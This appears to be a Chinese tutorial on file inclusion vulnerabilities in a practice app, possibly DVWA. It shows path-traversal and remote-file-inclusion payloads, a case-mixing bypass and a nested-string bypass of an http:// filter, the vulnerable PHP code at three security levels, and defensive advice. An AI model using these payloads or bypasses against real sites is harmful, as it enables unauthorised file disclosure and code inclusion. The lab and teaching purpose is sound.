File Inclusion文件包含漏洞
主要的利用点在?page=… 构造page后边的路径,如果没有限制可以访问任意的文件。
(1)访问服务器存在的文件
测试用例:?page=../../robots.txt
访问网站根目录下的robots.txt文件,结果如下:
还有可能爆出phpinfo的信息,测试如下: ?page=../../phpinfo.php
这样就为以后的渗透入侵提权等提供了很多的便利。
(2)访问服务器不存在的文件
测试用例:?page=hehe.php
访问同路径下的一个hehe.php(本身不存在),会报错,爆出服务器绝对路径,结果如下:
(3)访问服务器非网站上的绝对路径下的文件
测试用例:?page=h:/test.txt (在H盘下建立的一个测试文件)
(4)试一下远程文件包含,访问一个远程服务器上的文件
测试用例 ?page=http://xxx.com/phpinfo.php 通过google hacking 找到一个存在phpinfo.php的站点测试
结果如下:
发现由于 allow_url_include没开启,不能进行远程文件包含,我们可以手动修改php.ini文件将选项开启
allow_url_include = On
重启Apache,然后访问上述用例,返回:
可以实现远程文件包含,这样漏洞破坏力更强了。
我们查看漏洞的源代码来分析漏洞产生以及防御
(1)Low Security Level
$file = $_GET['page']; //The page we wish to display
?>
(2)Medium Security Level
$file = $_GET['page']; // The page we wish to display
// Bad input validation
$file = str_replace("http://", "", $file);
$file = str_replace("https://", "", $file);
?>
(3)High Security Level
$file = $_GET['page']; //The page we wish to display
// Only allow include.php
if ( $file != "include.php" ) {
echo "ERROR: File not found!";
exit;
}
?>
通过对以上三种不同等级代码的分析我们得到:
(1)Low Level:对获得的page参数未进行任何处理,很明显存在任意文件包含漏洞
(2)Medium Level:对page参数中的http:// 以及 https:// 进行了过滤,防止远程文件调用。
测试发现确实访问出现错误:
但这种防护策略并没什么卵用,这样的代码非常容易绕过去。
绕过方法:
大小写混淆法:如构造HTTP HttP hTTp等等大小写混淆的字符。测试 ?page=HTTP://xxx.com/phpinfo.php
测试结果如下:
二次构造法:从源代码中可以看到对敏感字符 http://的过滤不是递归的,只有一次,所以采用二次构造法如
?page=htthttp://p://xxx.com/phpinfo.php就可以轻松绕过
测试结果如下:
(3)High Level:这个基本上是把路径写死了,除了include.php其他路径下的文件全都无法访问。好吧,是在下输了。
文件包含漏洞的防御:
(1)限制文件路径的访问权限,尤其是敏感路径文件,要禁止访问
(2)对于远程文件包含的配置项应当谨慎设置,如 allow_url_fopen, allow_url_inclde, magic_quotes_gpc等,如果安全要求高,应当关闭远程配置项,设置为Off;对于字符处理过滤设置成On。
(3)避免动态变量,采用黑白名单的方式限制访问的文件路径
(4)过滤掉敏感的路径符号,如 ../ 等,将这些敏感字符加入到黑名单中
(5)设置php.ini 时要重点考虑安全性能选项